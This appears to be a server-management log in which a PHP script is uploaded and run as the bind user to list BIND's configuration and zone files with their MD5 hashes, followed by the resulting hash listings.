MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:50:09: Establishing a connection
2026-04-23 14:50:09: 

PUT: /tmp/pkp463306

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:50:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp463306; rm /tmp/pkp463306'

2026-04-23 14:50:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:52:56: Establishing a connection
2026-04-23 14:52:56: 

PUT: /tmp/pkp463438

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:52:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp463438; rm /tmp/pkp463438'

2026-04-23 14:52:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
